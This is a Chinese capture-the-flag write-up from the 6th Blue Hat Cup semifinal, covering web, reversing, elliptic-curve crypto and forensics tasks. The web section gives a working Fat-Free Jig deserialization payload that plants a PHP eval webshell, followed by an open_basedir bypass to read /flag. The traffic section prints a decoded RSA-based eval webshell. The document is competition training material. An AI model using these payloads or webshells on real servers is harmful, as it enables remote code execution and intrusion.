第六届蓝帽杯半决赛 writeup by or4nge
rank: 18th
or4nge 的师傅们在第六届“蓝帽杯”全国大学生网络安全技能大赛半决赛中取得18名的成绩并成功晋级决赛,师傅们真棒!
www.zip源码泄露,fatfree反序列化,入口点在Jig,本地测试能写进去,远程提示没有/var/www/html目录写权限,dirsearch扫到前端目录ui可写。
1<?php
2namespace DB;
3
4//! In-memory/flat-file DB wrapper
5class Jig {
6
7 //@{ Storage formats
8 const
9 FORMAT_JSON=0,
10 FORMAT_Serialized=1;
11 //@}
12 protected
13 //! Storage location
14 $dir = '/var/www/html/ui/',
15 //! Current storage format
16 $format = 'self::FORMAT_JSON',
17 //! Memory-held data
18 $data = array('or4nge.php'=>array('a'=>'<?php eval($_POST[1]);?>')),
19 //! lazy load/save files
20 $lazy = TRUE;
21
22 /**
23 * Read data from memory/file
24 * @return array
25 * @param $file string
26 **/
27}
28$jig = new jig();
29echo urlencode(serialize($jig));
写shell后发现有open_basedir限制,绕过后直接读flag。
11=mkdir("s");chdir('s');ini_set('open_basedir','..');chdir('..');chdir('..');
2chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents("/flag");
nim语言,根据符号表进入找到main函数
使用readLine获取输入
要求输入长度为42
验证flag格式并提取内容
将flag转换为数字,并与另一串数字56006392793428440965060594343955737638876552919041519193476344215226028549209672868995436445345986471相乘,要求结果为51748409119571493927314047697799213641286278894049840228804594223988372501782894889443165173295123444031074892600769905627166718788675801
整除即可获得flag
flag{923973256239481267349126498121231231}
本题的关键在于恢复p,总共有256组,猜测大概率有连续为0的4组,即在数组中均为点x的值,由点的递推关系可得3个同余方程组,将a^2和a视为两个不同变量,分别解出,再根据a^2-(a)^2==k*p得到kp,发现不止一组,求gcd得到p。后续都非常顺理成章了。
1res = []
2for i in range(253):
3 var('aa a b')
4 eq = []
5 for j in range(3):
6 c0 = -2 * (F[i+j]^2)-4*F[i+j]*F[i+j+1]
7 c1 = -4 * F[i+j+1]-8*F[i+j]
8 c2 = F[i+j]^4 -4 * F[i+j+1] *(F[i+j]^3)
9 eq.append(aa+c0*a+c1*b+c2==0)
10 t0 = solve(eq, aa, a, b)[0][0].rhs()
11 t1 = solve(eq, aa, a, b)[0][1].rhs()
12 t1 = t1 ^ 2
13 le = t0.numerator() * t1.denominator()
14 rh = t0.denominator() * t1.numerator()
15 res.append(abs(le - rh))
16for i in range(253):
17 for j in range(i + 1, 253):
18 ans = gcd(res[i], res[j])
19 if ans > 2 ^ 200:
20 print(ans)
21 print(i, j)
解得a,b
1zp = Zmod(p)
2for i in range(253):
3 var('aa a b')
4 eq = []
5 for j in range(3):
6 c0 = -2 * (F[i+j]^2)-4*F[i+j]*F[i+j+1]
7 c1 = -4 * F[i+j+1]-8*F[i+j]
8 c2 = F[i+j]^4 -4 * F[i+j+1] *(F[i+j]^3)
9 eq.append(aa+c0*a+c1*b+c2==0)
10 t0 = solve(eq, aa, a, b)[0][1].rhs()
11 t1 = solve(eq, aa, a, b)[0][2].rhs()
12 if i == 0:
13 print(zp(t0.numerator())*zp(t0.denominator())^(-1))
14 print(zp(t1.numerator())*zp(t1.denominator())^(-1))
还原x
1p = 17820136898270565003583154860416743796390790040178335664072441472386305480761
2a = 9350908279444197743025002468741904275718898737006581492427705992219827176952
3b = 13500852895882965574928430100049589390809744881726797117323415176748623881582
4E = EllipticCurve(GF(p),[a,b])
5G = E(16581946065268567237817415232739386442228092328655083118189304246170597434332, 6572297618785458302447485568200876595775007972363489568076029901524495685352)
6print(G)
7print(G.xy()[0])
8ans = 0
9for i in range(256):
10 try:
11 x, y = G.xy()
12 if F[i] == x:
13 ans += 0
14 else:
15 ans += 2^i
16 G = 2 * G
17 except:
18 print(G.xy())
19print(ans)
异或得到flag
1import random, hashlib
2from Crypto.Util.number import *
3enc = 'ba1e3092e2baba2ed9d70b5d847bb74d8a7b59461d16240c0017ed79c5e4052149129bc5d3c1112ad22e'
4a = 4009442033181566772244087448152745364151945732097529946674447227730338811104
5x = hashlib.sha384(long_to_bytes(a)).digest()
6flag = bytes([i^j for (i,j) in zip(bytes.fromhex(enc), x)])
7print(flag)
用Windows事件查看器打开日志,阅读系统记录的操作逻辑发现日志记录时间顺序由近到远,NTLM过程中系统时间发生过改变。
查阅有关NTLM中继攻击的资料发现攻击过程中涉及到两次NTLM验证,即日志中的两条LSA记录。审计发现两次NTLM验证间系统发生了一次重启。查到对应的NTLM模式:https://www.freebuf.com/articles/web/336237.html
因此推测答案为security日志中第二次LSA记录的时间或NTLM验证结束后的第一次logon对应的时间,测试发现答案是md5{第二次LSA后第一个logon的timeCreated SystemTime}。
一条条追踪http流,发现行为顺序是:用蚁剑连接1.php,写了rsa.php后用加密流量rce,尝试ls,测试写了flag.txt,再ls,最后写了一个真的flag。
流量发现rsa.php是用phpjiami的php,用phpjiami_decode-master解密还原得到:
1<?php
2$cmd = @$_POST['ant'];
3$pk = <<<EOF
4-----BEGIN PUBLIC KEY-----
5MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDieYmLtWbGRSvUtevSlTOozmWR
6qEGF4Hfvb1YCoVYAAlhnHnyMk+aLRvLXKgmerWiS+QD6y08Ispuzzn02tHE6d4Qp
7DuPiPO9PAdGSXzFVFLK2hOrkXLsDXugNTdVUprdkPPI1YY0ZnMs1bT2Zf2dfuBI5
80S5e5sSOF85kNq/zwwIDAQAB
9-----END PUBLIC KEY-----
10EOF;
11$cmds = explode("|", $cmd);
12$pk = openssl_pkey_get_public($pk);
13$cmd = '';
14foreach ($cmds as $value) {
15 if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
16 $cmd .= $de;
17 }
18}
19foreach($_POST as $k => $v){
20 if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
21 $_POST[$k]=$de;
22}
23}
24eval($cmd);
很搞笑的是这是用公钥解密的,所以追踪最后一条流得到参数
k85c8f24ca50da=yLxWGRCHJBEhtpnW7XTEjZa8U06pkFvEqTea5ISI%2FLggnmMXPblFZ6sDNJHoym6I0CkQIYr62%2B8sauFSYOHtPEpFX62kBmMAxi7abHOzQl5FAf2VO5wiezcXRp5nLDfqHCLa0Y8T9kaplu81yXLzXtlhZYgrqMtDsFROJ%2BZKNN0%3D
用公钥解密后去掉前两位解base64即可。